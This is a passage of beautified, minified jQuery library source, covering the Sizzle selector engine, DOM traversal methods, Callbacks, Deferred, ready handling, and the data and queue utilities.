while (e--) - a.splice(d[e], 1) - } - return k = null, - a - } - , - e = ga.getText = function(a) { - var b, c = "", d = 0, f = a.nodeType; - if (f) { - if (1 === f || 9 === f || 11 === f) { - if ("string" == typeof a.textContent) - return a.textContent; - for (a = a.firstChild; a; a = a.nextSibling) - c += e(a) - } else if (3 === f || 4 === f) - return a.nodeValue - } else - while (b = a[d++]) - c += e(b); - return c - } - , - d = ga.selectors = { - cacheLength: 50, - createPseudo: ia, - match: V, - attrHandle: {}, - find: {}, - relative: { - ">": { - dir: "parentNode", - first: !0 - }, - " ": { - dir: "parentNode" - }, - "+": { - dir: "previousSibling", - first: !0 - }, - "~": { - dir: "previousSibling" - } - }, - preFilter: { - ATTR: function(a) { - return a[1] = a[1].replace(_, aa), - a[3] = (a[3] || a[4] || a[5] || "").replace(_, aa), - "~=" === a[2] && (a[3] = " " + a[3] + " "), - a.slice(0, 4) - }, - CHILD: function(a) { - return a[1] = a[1].toLowerCase(), - "nth" === a[1].slice(0, 3) ? (a[3] || ga.error(a[0]), - a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])), - a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && ga.error(a[0]), - a - }, - PSEUDO: function(a) { - var b, c = !a[6] && a[2]; - return V.CHILD.test(a[0]) ? null : (a[3] ? a[2] = a[4] || a[5] || "" : c && T.test(c) && (b = g(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b), - a[2] = c.slice(0, b)), - a.slice(0, 3)) - } - }, - filter: { - TAG: function(a) { - var b = a.replace(_, aa).toLowerCase(); - return "*" === a ? function() { - return !0 - } - : function(a) { - return a.nodeName && a.nodeName.toLowerCase() === b - } - }, - CLASS: function(a) { - var b = y[a + " "]; - return b || (b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && y(a, function(a) { - return b.test("string" == typeof a.className && a.className || "undefined" != typeof a.getAttribute && a.getAttribute("class") || "") - }) - }, - ATTR: function(a, b, c) { - return function(d) { - var e = ga.attr(d, a); - return null == e ? "!=" === b : !b || (e += "", - "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e.replace(O, " ") + " ").indexOf(c) > -1 : "|=" === b && (e === c || e.slice(0, c.length + 1) === c + "-")) - } - }, - CHILD: function(a, b, c, d, e) { - var f = "nth" !== a.slice(0, 3) - , g = "last" !== a.slice(-4) - , h = "of-type" === b; - return 1 === d && 0 === e ? function(a) { - return !!a.parentNode - } - : function(b, c, i) { - var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling", q = b.parentNode, r = h && b.nodeName.toLowerCase(), s = !i && !h, t = !1; - if (q) { - if (f) { - while (p) { - m = b; - while (m = m[p]) - if (h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) - return !1; - o = p = "only" === a && !o && "nextSibling" - } - return !0 - } - if (o = [g ? q.firstChild : q.lastChild], - g && s) { - m = q, - l = m[u] || (m[u] = {}), - k = l[m.uniqueID] || (l[m.uniqueID] = {}), - j = k[a] || [], - n = j[0] === w && j[1], - t = n && j[2], - m = n && q.childNodes[n]; - while (m = ++n && m && m[p] || (t = n = 0) || o.pop()) - if (1 === m.nodeType && ++t && m === b) { - k[a] = [w, n, t]; - break - } - } else if (s && (m = b, - l = m[u] || (m[u] = {}), - k = l[m.uniqueID] || (l[m.uniqueID] = {}), - j = k[a] || [], - n = j[0] === w && j[1], - t = n), - t === !1) - while (m = ++n && m && m[p] || (t = n = 0) || o.pop()) - if ((h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) && ++t && (s && (l = m[u] || (m[u] = {}), - k = l[m.uniqueID] || (l[m.uniqueID] = {}), - k[a] = [w, t]), - m === b)) - break; - return t -= e, - t === d || t % d === 0 && t / d >= 0 - } - } - }, - PSEUDO: function(a, b) { - var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || ga.error("unsupported pseudo: " + a); - return e[u] ? e(b) : e.length > 1 ? (c = [a, a, "", b], - d.setFilters.hasOwnProperty(a.toLowerCase()) ? ia(function(a, c) { - var d, f = e(a, b), g = f.length; - while (g--) - d = I(a, f[g]), - a[d] = !(c[d] = f[g]) - }) : function(a) { - return e(a, 0, c) - } - ) : e - } - }, - pseudos: { - not: ia(function(a) { - var b = [] - , c = [] - , d = h(a.replace(P, "$1")); - return d[u] ? ia(function(a, b, c, e) { - var f, g = d(a, null, e, []), h = a.length; - while (h--) - (f = g[h]) && (a[h] = !(b[h] = f)) - }) : function(a, e, f) { - return b[0] = a, - d(b, null, f, c), - b[0] = null, - !c.pop() - } - }), - has: ia(function(a) { - return function(b) { - return ga(a, b).length > 0 - } - }), - contains: ia(function(a) { - return a = a.replace(_, aa), - function(b) { - return (b.textContent || b.innerText || e(b)).indexOf(a) > -1 - } - }), - lang: ia(function(a) { - return U.test(a || "") || ga.error("unsupported lang: " + a), - a = a.replace(_, aa).toLowerCase(), - function(b) { - var c; - do - if (c = p ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang")) - return c = c.toLowerCase(), - c === a || 0 === c.indexOf(a + "-"); - while ((b = b.parentNode) && 1 === b.nodeType);return !1 - } - }), - target: function(b) { - var c = a.location && a.location.hash; - return c && c.slice(1) === b.id - }, - root: function(a) { - return a === o - }, - focus: function(a) { - return a === n.activeElement && (!n.hasFocus || n.hasFocus()) && !!(a.type || a.href || ~a.tabIndex) - }, - enabled: oa(!1), - disabled: oa(!0), - checked: function(a) { - var b = a.nodeName.toLowerCase(); - return "input" === b && !!a.checked || "option" === b && !!a.selected - }, - selected: function(a) { - return a.parentNode && a.parentNode.selectedIndex, - a.selected === !0 - }, - empty: function(a) { - for (a = a.firstChild; a; a = a.nextSibling) - if (a.nodeType < 6) - return !1; - return !0 - }, - parent: function(a) { - return !d.pseudos.empty(a) - }, - header: function(a) { - return X.test(a.nodeName) - }, - input: function(a) { - return W.test(a.nodeName) - }, - button: function(a) { - var b = a.nodeName.toLowerCase(); - return "input" === b && "button" === a.type || "button" === b - }, - text: function(a) { - var b; - return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase()) - }, - first: pa(function() { - return [0] - }), - last: pa(function(a, b) { - return [b - 1] - }), - eq: pa(function(a, b, c) { - return [c < 0 ? c + b : c] - }), - even: pa(function(a, b) { - for (var c = 0; c < b; c += 2) - a.push(c); - return a - }), - odd: pa(function(a, b) { - for (var c = 1; c < b; c += 2) - a.push(c); - return a - }), - lt: pa(function(a, b, c) { - for (var d = c < 0 ? c + b : c; --d >= 0; ) - a.push(d); - return a - }), - gt: pa(function(a, b, c) { - for (var d = c < 0 ? c + b : c; ++d < b; ) - a.push(d); - return a - }) - } - }, - d.pseudos.nth = d.pseudos.eq; - for (b in { - radio: !0, - checkbox: !0, - file: !0, - password: !0, - image: !0 - }) - d.pseudos[b] = ma(b); - for (b in { - submit: !0, - reset: !0 - }) - d.pseudos[b] = na(b); - function ra() {} - ra.prototype = d.filters = d.pseudos, - d.setFilters = new ra, - g = ga.tokenize = function(a, b) { - var c, e, f, g, h, i, j, k = z[a + " "]; - if (k) - return b ? 0 : k.slice(0); - h = a, - i = [], - j = d.preFilter; - while (h) { - c && !(e = Q.exec(h)) || (e && (h = h.slice(e[0].length) || h), - i.push(f = [])), - c = !1, - (e = R.exec(h)) && (c = e.shift(), - f.push({ - value: c, - type: e[0].replace(P, " ") - }), - h = h.slice(c.length)); - for (g in d.filter) - !(e = V[g].exec(h)) || j[g] && !(e = j[g](e)) || (c = e.shift(), - f.push({ - value: c, - type: g, - matches: e - }), - h = h.slice(c.length)); - if (!c) - break - } - return b ? h.length : h ? ga.error(a) : z(a, i).slice(0) - } - ; - function sa(a) { - for (var b = 0, c = a.length, d = ""; b < c; b++) - d += a[b].value; - return d - } - function ta(a, b, c) { - var d = b.dir - , e = b.next - , f = e || d - , g = c && "parentNode" === f - , h = x++; - return b.first ? function(b, c, e) { - while (b = b[d]) - if (1 === b.nodeType || g) - return a(b, c, e); - return !1 - } - : function(b, c, i) { - var j, k, l, m = [w, h]; - if (i) { - while (b = b[d]) - if ((1 === b.nodeType || g) && a(b, c, i)) - return !0 - } else - while (b = b[d]) - if (1 === b.nodeType || g) - if (l = b[u] || (b[u] = {}), - k = l[b.uniqueID] || (l[b.uniqueID] = {}), - e && e === b.nodeName.toLowerCase()) - b = b[d] || b; - else { - if ((j = k[f]) && j[0] === w && j[1] === h) - return m[2] = j[2]; - if (k[f] = m, - m[2] = a(b, c, i)) - return !0 - } - return !1 - } - } - function ua(a) { - return a.length > 1 ? function(b, c, d) { - var e = a.length; - while (e--) - if (!a[e](b, c, d)) - return !1; - return !0 - } - : a[0] - } - function va(a, b, c) { - for (var d = 0, e = b.length; d < e; d++) - ga(a, b[d], c); - return c - } - function wa(a, b, c, d, e) { - for (var f, g = [], h = 0, i = a.length, j = null != b; h < i; h++) - (f = a[h]) && (c && !c(f, d, e) || (g.push(f), - j && b.push(h))); - return g - } - function xa(a, b, c, d, e, f) { - return d && !d[u] && (d = xa(d)), - e && !e[u] && (e = xa(e, f)), - ia(function(f, g, h, i) { - var j, k, l, m = [], n = [], o = g.length, p = f || va(b || "*", h.nodeType ? [h] : h, []), q = !a || !f && b ? p : wa(p, m, a, h, i), r = c ? e || (f ? a : o || d) ? [] : g : q; - if (c && c(q, r, h, i), - d) { - j = wa(r, n), - d(j, [], h, i), - k = j.length; - while (k--) - (l = j[k]) && (r[n[k]] = !(q[n[k]] = l)) - } - if (f) { - if (e || a) { - if (e) { - j = [], - k = r.length; - while (k--) - (l = r[k]) && j.push(q[k] = l); - e(null, r = [], j, i) - } - k = r.length; - while (k--) - (l = r[k]) && (j = e ? I(f, l) : m[k]) > -1 && (f[j] = !(g[j] = l)) - } - } else - r = wa(r === g ? r.splice(o, r.length) : r), - e ? e(null, g, r, i) : G.apply(g, r) - }) - } - function ya(a) { - for (var b, c, e, f = a.length, g = d.relative[a[0].type], h = g || d.relative[" "], i = g ? 1 : 0, k = ta(function(a) { - return a === b - }, h, !0), l = ta(function(a) { - return I(b, a) > -1 - }, h, !0), m = [function(a, c, d) { - var e = !g && (d || c !== j) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d)); - return b = null, - e - } - ]; i < f; i++) - if (c = d.relative[a[i].type]) - m = [ta(ua(m), c)]; - else { - if (c = d.filter[a[i].type].apply(null, a[i].matches), - c[u]) { - for (e = ++i; e < f; e++) - if (d.relative[a[e].type]) - break; - return xa(i > 1 && ua(m), i > 1 && sa(a.slice(0, i - 1).concat({ - value: " " === a[i - 2].type ? "*" : "" - })).replace(P, "$1"), c, i < e && ya(a.slice(i, e)), e < f && ya(a = a.slice(e)), e < f && sa(a)) - } - m.push(c) - } - return ua(m) - } - function za(a, b) { - var c = b.length > 0 - , e = a.length > 0 - , f = function(f, g, h, i, k) { - var l, o, q, r = 0, s = "0", t = f && [], u = [], v = j, x = f || e && d.find.TAG("*", k), y = w += null == v ? 1 : Math.random() || .1, z = x.length; - for (k && (j = g === n || g || k); s !== z && null != (l = x[s]); s++) { - if (e && l) { - o = 0, - g || l.ownerDocument === n || (m(l), - h = !p); - while (q = a[o++]) - if (q(l, g || n, h)) { - i.push(l); - break - } - k && (w = y) - } - c && ((l = !q && l) && r--, - f && t.push(l)) - } - if (r += s, - c && s !== r) { - o = 0; - while (q = b[o++]) - q(t, u, g, h); - if (f) { - if (r > 0) - while (s--) - t[s] || u[s] || (u[s] = E.call(i)); - u = wa(u) - } - G.apply(i, u), - k && !f && u.length > 0 && r + b.length > 1 && ga.uniqueSort(i) - } - return k && (w = y, - j = v), - t - }; - return c ? ia(f) : f - } - return h = ga.compile = function(a, b) { - var c, d = [], e = [], f = A[a + " "]; - if (!f) { - b || (b = g(a)), - c = b.length; - while (c--) - f = ya(b[c]), - f[u] ? d.push(f) : e.push(f); - f = A(a, za(e, d)), - f.selector = a - } - return f - } - , - i = ga.select = function(a, b, c, e) { - var f, i, j, k, l, m = "function" == typeof a && a, n = !e && g(a = m.selector || a); - if (c = c || [], - 1 === n.length) { - if (i = n[0] = n[0].slice(0), - i.length > 2 && "ID" === (j = i[0]).type && 9 === b.nodeType && p && d.relative[i[1].type]) { - if (b = (d.find.ID(j.matches[0].replace(_, aa), b) || [])[0], - !b) - return c; - m && (b = b.parentNode), - a = a.slice(i.shift().value.length) - } - f = V.needsContext.test(a) ? 0 : i.length; - while (f--) { - if (j = i[f], - d.relative[k = j.type]) - break; - if ((l = d.find[k]) && (e = l(j.matches[0].replace(_, aa), $.test(i[0].type) && qa(b.parentNode) || b))) { - if (i.splice(f, 1), - a = e.length && sa(i), - !a) - return G.apply(c, e), - c; - break - } - } - } - return (m || h(a, n))(e, b, !p, c, !b || $.test(a) && qa(b.parentNode) || b), - c - } - , - c.sortStable = u.split("").sort(B).join("") === u, - c.detectDuplicates = !!l, - m(), - c.sortDetached = ja(function(a) { - return 1 & a.compareDocumentPosition(n.createElement("fieldset")) - }), - ja(function(a) { - return a.innerHTML = "", - "#" === a.firstChild.getAttribute("href") - }) || ka("type|href|height|width", function(a, b, c) { - if (!c) - return a.getAttribute(b, "type" === b.toLowerCase() ? 1 : 2) - }), - c.attributes && ja(function(a) { - return a.innerHTML = "", - a.firstChild.setAttribute("value", ""), - "" === a.firstChild.getAttribute("value") - }) || ka("value", function(a, b, c) { - if (!c && "input" === a.nodeName.toLowerCase()) - return a.defaultValue - }), - ja(function(a) { - return null == a.getAttribute("disabled") - }) || ka(J, function(a, b, c) { - var d; - if (!c) - return a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) && d.specified ? d.value : null - }), - ga - }(a); - r.find = x, - r.expr = x.selectors, - r.expr[":"] = r.expr.pseudos, - r.uniqueSort = r.unique = x.uniqueSort, - r.text = x.getText, - r.isXMLDoc = x.isXML, - r.contains = x.contains, - r.escapeSelector = x.escape; - var y = function(a, b, c) { - var d = [] - , e = void 0 !== c; - while ((a = a[b]) && 9 !== a.nodeType) - if (1 === a.nodeType) { - if (e && r(a).is(c)) - break; - d.push(a) - } - return d - } - , z = function(a, b) { - for (var c = []; a; a = a.nextSibling) - 1 === a.nodeType && a !== b && c.push(a); - return c - } - , A = r.expr.match.needsContext; - function B(a, b) { - return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase() - } - var C = /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i - , D = /^.[^:#\[\.,]*$/; - function E(a, b, c) { - return r.isFunction(b) ? r.grep(a, function(a, d) { - return !!b.call(a, d, a) !== c - }) : b.nodeType ? r.grep(a, function(a) { - return a === b !== c - }) : "string" != typeof b ? r.grep(a, function(a) { - return i.call(b, a) > -1 !== c - }) : D.test(b) ? r.filter(b, a, c) : (b = r.filter(b, a), - r.grep(a, function(a) { - return i.call(b, a) > -1 !== c && 1 === a.nodeType - })) - } - r.filter = function(a, b, c) { - var d = b[0]; - return c && (a = ":not(" + a + ")"), - 1 === b.length && 1 === d.nodeType ? r.find.matchesSelector(d, a) ? [d] : [] : r.find.matches(a, r.grep(b, function(a) { - return 1 === a.nodeType - })) - } - , - r.fn.extend({ - find: function(a) { - var b, c, d = this.length, e = this; - if ("string" != typeof a) - return this.pushStack(r(a).filter(function() { - for (b = 0; b < d; b++) - if (r.contains(e[b], this)) - return !0 - })); - for (c = this.pushStack([]), - b = 0; b < d; b++) - r.find(a, e[b], c); - return d > 1 ? r.uniqueSort(c) : c - }, - filter: function(a) { - return this.pushStack(E(this, a || [], !1)) - }, - not: function(a) { - return this.pushStack(E(this, a || [], !0)) - }, - is: function(a) { - return !!E(this, "string" == typeof a && A.test(a) ? r(a) : a || [], !1).length - } - }); - var F, G = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, H = r.fn.init = function(a, b, c) { - var e, f; - if (!a) - return this; - if (c = c || F, - "string" == typeof a) { - if (e = "<" === a[0] && ">" === a[a.length - 1] && a.length >= 3 ? [null, a, null] : G.exec(a), - !e || !e[1] && b) - return !b || b.jquery ? (b || c).find(a) : this.constructor(b).find(a); - if (e[1]) { - if (b = b instanceof r ? b[0] : b, - r.merge(this, r.parseHTML(e[1], b && b.nodeType ? b.ownerDocument || b : d, !0)), - C.test(e[1]) && r.isPlainObject(b)) - for (e in b) - r.isFunction(this[e]) ? this[e](b[e]) : this.attr(e, b[e]); - return this - } - return f = d.getElementById(e[2]), - f && (this[0] = f, - this.length = 1), - this - } - return a.nodeType ? (this[0] = a, - this.length = 1, - this) : r.isFunction(a) ? void 0 !== c.ready ? c.ready(a) : a(r) : r.makeArray(a, this) - } - ; - H.prototype = r.fn, - F = r(d); - var I = /^(?:parents|prev(?:Until|All))/ - , J = { - children: !0, - contents: !0, - next: !0, - prev: !0 - }; - r.fn.extend({ - has: function(a) { - var b = r(a, this) - , c = b.length; - return this.filter(function() { - for (var a = 0; a < c; a++) - if (r.contains(this, b[a])) - return !0 - }) - }, - closest: function(a, b) { - var c, d = 0, e = this.length, f = [], g = "string" != typeof a && r(a); - if (!A.test(a)) - for (; d < e; d++) - for (c = this[d]; c && c !== b; c = c.parentNode) - if (c.nodeType < 11 && (g ? g.index(c) > -1 : 1 === c.nodeType && r.find.matchesSelector(c, a))) { - f.push(c); - break - } - return this.pushStack(f.length > 1 ? r.uniqueSort(f) : f) - }, - index: function(a) { - return a ? "string" == typeof a ? i.call(r(a), this[0]) : i.call(this, a.jquery ? a[0] : a) : this[0] && this[0].parentNode ? this.first().prevAll().length : -1 - }, - add: function(a, b) { - return this.pushStack(r.uniqueSort(r.merge(this.get(), r(a, b)))) - }, - addBack: function(a) { - return this.add(null == a ? this.prevObject : this.prevObject.filter(a)) - } - }); - function K(a, b) { - while ((a = a[b]) && 1 !== a.nodeType) - ; - return a - } - r.each({ - parent: function(a) { - var b = a.parentNode; - return b && 11 !== b.nodeType ? b : null - }, - parents: function(a) { - return y(a, "parentNode") - }, - parentsUntil: function(a, b, c) { - return y(a, "parentNode", c) - }, - next: function(a) { - return K(a, "nextSibling") - }, - prev: function(a) { - return K(a, "previousSibling") - }, - nextAll: function(a) { - return y(a, "nextSibling") - }, - prevAll: function(a) { - return y(a, "previousSibling") - }, - nextUntil: function(a, b, c) { - return y(a, "nextSibling", c) - }, - prevUntil: function(a, b, c) { - return y(a, "previousSibling", c) - }, - siblings: function(a) { - return z((a.parentNode || {}).firstChild, a) - }, - children: function(a) { - return z(a.firstChild) - }, - contents: function(a) { - return B(a, "iframe") ? a.contentDocument : (B(a, "template") && (a = a.content || a), - r.merge([], a.childNodes)) - } - }, function(a, b) { - r.fn[a] = function(c, d) { - var e = r.map(this, b, c); - return "Until" !== a.slice(-5) && (d = c), - d && "string" == typeof d && (e = r.filter(d, e)), - this.length > 1 && (J[a] || r.uniqueSort(e), - I.test(a) && e.reverse()), - this.pushStack(e) - } - }); - var L = /[^\x20\t\r\n\f]+/g; - function M(a) { - var b = {}; - return r.each(a.match(L) || [], function(a, c) { - b[c] = !0 - }), - b - } - r.Callbacks = function(a) { - a = "string" == typeof a ? M(a) : r.extend({}, a); - var b, c, d, e, f = [], g = [], h = -1, i = function() { - for (e = e || a.once, - d = b = !0; g.length; h = -1) { - c = g.shift(); - while (++h < f.length) - f[h].apply(c[0], c[1]) === !1 && a.stopOnFalse && (h = f.length, - c = !1) - } - a.memory || (c = !1), - b = !1, - e && (f = c ? [] : "") - }, j = { - add: function() { - return f && (c && !b && (h = f.length - 1, - g.push(c)), - function d(b) { - r.each(b, function(b, c) { - r.isFunction(c) ? a.unique && j.has(c) || f.push(c) : c && c.length && "string" !== r.type(c) && d(c) - }) - }(arguments), - c && !b && i()), - this - }, - remove: function() { - return r.each(arguments, function(a, b) { - var c; - while ((c = r.inArray(b, f, c)) > -1) - f.splice(c, 1), - c <= h && h-- - }), - this - }, - has: function(a) { - return a ? r.inArray(a, f) > -1 : f.length > 0 - }, - empty: function() { - return f && (f = []), - this - }, - disable: function() { - return e = g = [], - f = c = "", - this - }, - disabled: function() { - return !f - }, - lock: function() { - return e = g = [], - c || b || (f = c = ""), - this - }, - locked: function() { - return !!e - }, - fireWith: function(a, c) { - return e || (c = c || [], - c = [a, c.slice ? c.slice() : c], - g.push(c), - b || i()), - this - }, - fire: function() { - return j.fireWith(this, arguments), - this - }, - fired: function() { - return !!d - } - }; - return j - } - ; - function N(a) { - return a - } - function O(a) { - throw a - } - function P(a, b, c, d) { - var e; - try { - a && r.isFunction(e = a.promise) ? e.call(a).done(b).fail(c) : a && r.isFunction(e = a.then) ? e.call(a, b, c) : b.apply(void 0, [a].slice(d)) - } catch (a) { - c.apply(void 0, [a]) - } - } - r.extend({ - Deferred: function(b) { - var c = [["notify", "progress", r.Callbacks("memory"), r.Callbacks("memory"), 2], ["resolve", "done", r.Callbacks("once memory"), r.Callbacks("once memory"), 0, "resolved"], ["reject", "fail", r.Callbacks("once memory"), r.Callbacks("once memory"), 1, "rejected"]] - , d = "pending" - , e = { - state: function() { - return d - }, - always: function() { - return f.done(arguments).fail(arguments), - this - }, - "catch": function(a) { - return e.then(null, a) - }, - pipe: function() { - var a = arguments; - return r.Deferred(function(b) { - r.each(c, function(c, d) { - var e = r.isFunction(a[d[4]]) && a[d[4]]; - f[d[1]](function() { - var a = e && e.apply(this, arguments); - a && r.isFunction(a.promise) ? a.promise().progress(b.notify).done(b.resolve).fail(b.reject) : b[d[0] + "With"](this, e ? [a] : arguments) - }) - }), - a = null - }).promise() - }, - then: function(b, d, e) { - var f = 0; - function g(b, c, d, e) { - return function() { - var h = this - , i = arguments - , j = function() { - var a, j; - if (!(b < f)) { - if (a = d.apply(h, i), - a === c.promise()) - throw new TypeError("Thenable self-resolution"); - j = a && ("object" == typeof a || "function" == typeof a) && a.then, - r.isFunction(j) ? e ? j.call(a, g(f, c, N, e), g(f, c, O, e)) : (f++, - j.call(a, g(f, c, N, e), g(f, c, O, e), g(f, c, N, c.notifyWith))) : (d !== N && (h = void 0, - i = [a]), - (e || c.resolveWith)(h, i)) - } - } - , k = e ? j : function() { - try { - j() - } catch (a) { - r.Deferred.exceptionHook && r.Deferred.exceptionHook(a, k.stackTrace), - b + 1 >= f && (d !== O && (h = void 0, - i = [a]), - c.rejectWith(h, i)) - } - } - ; - b ? k() : (r.Deferred.getStackHook && (k.stackTrace = r.Deferred.getStackHook()), - a.setTimeout(k)) - } - } - return r.Deferred(function(a) { - c[0][3].add(g(0, a, r.isFunction(e) ? e : N, a.notifyWith)), - c[1][3].add(g(0, a, r.isFunction(b) ? b : N)), - c[2][3].add(g(0, a, r.isFunction(d) ? d : O)) - }).promise() - }, - promise: function(a) { - return null != a ? r.extend(a, e) : e - } - } - , f = {}; - return r.each(c, function(a, b) { - var g = b[2] - , h = b[5]; - e[b[1]] = g.add, - h && g.add(function() { - d = h - }, c[3 - a][2].disable, c[0][2].lock), - g.add(b[3].fire), - f[b[0]] = function() { - return f[b[0] + "With"](this === f ? void 0 : this, arguments), - this - } - , - f[b[0] + "With"] = g.fireWith - }), - e.promise(f), - b && b.call(f, f), - f - }, - when: function(a) { - var b = arguments.length - , c = b - , d = Array(c) - , e = f.call(arguments) - , g = r.Deferred() - , h = function(a) { - return function(c) { - d[a] = this, - e[a] = arguments.length > 1 ? f.call(arguments) : c, - --b || g.resolveWith(d, e) - } - }; - if (b <= 1 && (P(a, g.done(h(c)).resolve, g.reject, !b), - "pending" === g.state() || r.isFunction(e[c] && e[c].then))) - return g.then(); - while (c--) - P(e[c], h(c), g.reject); - return g.promise() - } - }); - var Q = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; - r.Deferred.exceptionHook = function(b, c) { - a.console && a.console.warn && b && Q.test(b.name) && a.console.warn("jQuery.Deferred exception: " + b.message, b.stack, c) - } - , - r.readyException = function(b) { - a.setTimeout(function() { - throw b - }) - } - ; - var R = r.Deferred(); - r.fn.ready = function(a) { - return R.then(a)["catch"](function(a) { - r.readyException(a) - }), - this - } - , - r.extend({ - isReady: !1, - readyWait: 1, - ready: function(a) { - (a === !0 ? --r.readyWait : r.isReady) || (r.isReady = !0, - a !== !0 && --r.readyWait > 0 || R.resolveWith(d, [r])) - } - }), - r.ready.then = R.then; - function S() { - d.removeEventListener("DOMContentLoaded", S), - a.removeEventListener("load", S), - r.ready() - } - "complete" === d.readyState || "loading" !== d.readyState && !d.documentElement.doScroll ? a.setTimeout(r.ready) : (d.addEventListener("DOMContentLoaded", S), - a.addEventListener("load", S)); - var T = function(a, b, c, d, e, f, g) { - var h = 0 - , i = a.length - , j = null == c; - if ("object" === r.type(c)) { - e = !0; - for (h in c) - T(a, b, h, c[h], !0, f, g) - } else if (void 0 !== d && (e = !0, - r.isFunction(d) || (g = !0), - j && (g ? (b.call(a, d), - b = null) : (j = b, - b = function(a, b, c) { - return j.call(r(a), c) - } - )), - b)) - for (; h < i; h++) - b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c))); - return e ? a : j ? b.call(a) : i ? b(a[0], c) : f - } - , U = function(a) { - return 1 === a.nodeType || 9 === a.nodeType || !+a.nodeType - }; - function V() { - this.expando = r.expando + V.uid++ - } - V.uid = 1, - V.prototype = { - cache: function(a) { - var b = a[this.expando]; - return b || (b = {}, - U(a) && (a.nodeType ? a[this.expando] = b : Object.defineProperty(a, this.expando, { - value: b, - configurable: !0 - }))), - b - }, - set: function(a, b, c) { - var d, e = this.cache(a); - if ("string" == typeof b) - e[r.camelCase(b)] = c; - else - for (d in b) - e[r.camelCase(d)] = b[d]; - return e - }, - get: function(a, b) { - return void 0 === b ? this.cache(a) : a[this.expando] && a[this.expando][r.camelCase(b)] - }, - access: function(a, b, c) { - return void 0 === b || b && "string" == typeof b && void 0 === c ? this.get(a, b) : (this.set(a, b, c), - void 0 !== c ? c : b) - }, - remove: function(a, b) { - var c, d = a[this.expando]; - if (void 0 !== d) { - if (void 0 !== b) { - Array.isArray(b) ? b = b.map(r.camelCase) : (b = r.camelCase(b), - b = b in d ? [b] : b.match(L) || []), - c = b.length; - while (c--) - delete d[b[c]] - } - (void 0 === b || r.isEmptyObject(d)) && (a.nodeType ? a[this.expando] = void 0 : delete a[this.expando]) - } - }, - hasData: function(a) { - var b = a[this.expando]; - return void 0 !== b && !r.isEmptyObject(b) - } - }; - var W = new V - , X = new V - , Y = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/ - , Z = /[A-Z]/g; - function $(a) { - return "true" === a || "false" !== a && ("null" === a ? null : a === +a + "" ? +a : Y.test(a) ? JSON.parse(a) : a) - } - function _(a, b, c) { - var d; - if (void 0 === c && 1 === a.nodeType) - if (d = "data-" + b.replace(Z, "-$&").toLowerCase(), - c = a.getAttribute(d), - "string" == typeof c) { - try { - c = $(c) - } catch (e) {} - X.set(a, b, c) - } else - c = void 0; - return c - } - r.extend({ - hasData: function(a) { - return X.hasData(a) || W.hasData(a) - }, - data: function(a, b, c) { - return X.access(a, b, c) - }, - removeData: function(a, b) { - X.remove(a, b) - }, - _data: function(a, b, c) { - return W.access(a, b, c) - }, - _removeData: function(a, b) { - W.remove(a, b) - } - }), - r.fn.extend({ - data: function(a, b) { - var c, d, e, f = this[0], g = f && f.attributes; - if (void 0 === a) { - if (this.length && (e = X.get(f), - 1 === f.nodeType && !W.get(f, "hasDataAttrs"))) { - c = g.length; - while (c--) - g[c] && (d = g[c].name, - 0 === d.indexOf("data-") && (d = r.camelCase(d.slice(5)), - _(f, d, e[d]))); - W.set(f, "hasDataAttrs", !0) - } - return e - } - return "object" == typeof a ? this.each(function() { - X.set(this, a) - }) : T(this, function(b) { - var c; - if (f && void 0 === b) { - if (c = X.get(f, a), - void 0 !== c) - return c; - if (c = _(f, a), - void 0 !== c) - return c - } else - this.each(function() { - X.set(this, a, b) - }) - }, null, b, arguments.length > 1, null, !0) - }, - removeData: function(a) { - return this.each(function() { - X.remove(this, a) - }) - } - }), - r.extend({ - queue: function(a, b, c) { - var d; - if (a) - return b = (b || "fx") + "queue", - d = W.get(a, b), - c && (!d || Array.isArray(c) ? d = W.access(a, b, r.makeArray(c)) : d.push(c)), - d || [] - }, - dequeue: function(a, b) { - b = b || "fx"; - var c = r.queue(a, b) - , d = c.length - , e = c.shift() - , f = r._queueHooks(a, b) - , g = function() { - r.dequeue(a, b) - }; - "inprogress" === e && (e = c.shift(), - d--), - e && ("fx" === b && c.unshift("inprogress"), - delete f.stop, - e.call(a, g, f)), - !d && f && f.empty.fire() - }, - _queueHooks: function(a, b) { - var c = b + "queueHooks"; - return W.get(a, c) || W.access(a, c, { - empty: r.Callbacks("once memory").add(function() { - W.remove(a, [b + "queue", c]) - }) - }) - } - }), - r.fn.extend({ - queue: function(a, b) { - var c = 2; - return "string" != typeof a && (b = a, - a = "fx", - c--), - arguments.length < c ? r.queue(this[0], a) : void 0 === b ? this : this.each(function() { - var c = r.queue(this, a, b); - r._queueHooks(this, a), - "fx" === a && "inprogress" !== c[0] && r.dequeue(this, a) - }) - }, - dequeue: function(a) { - return this.each(function() { - r.dequeue(this, a) - }) - }, - clearQueue: function(a) { - return this.queue(a || "fx", []) - }, - promise: function(a, b) { - var c, d = 1, e = r.Deferred(), f = this, g = this.length, h = function() { - --d || e.resolveWith(f, [f]) - }; - "string" != typeof a && (b = a, - a = void 0), - a = a || "fx"; - while (g--) - c = W.get(f[g], a + "queueHooks"), - c && c.empty && (d++, - c.empty.add(h)); - return h(), - e.promise(b) - } - }); - var aa = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source - , ba = new 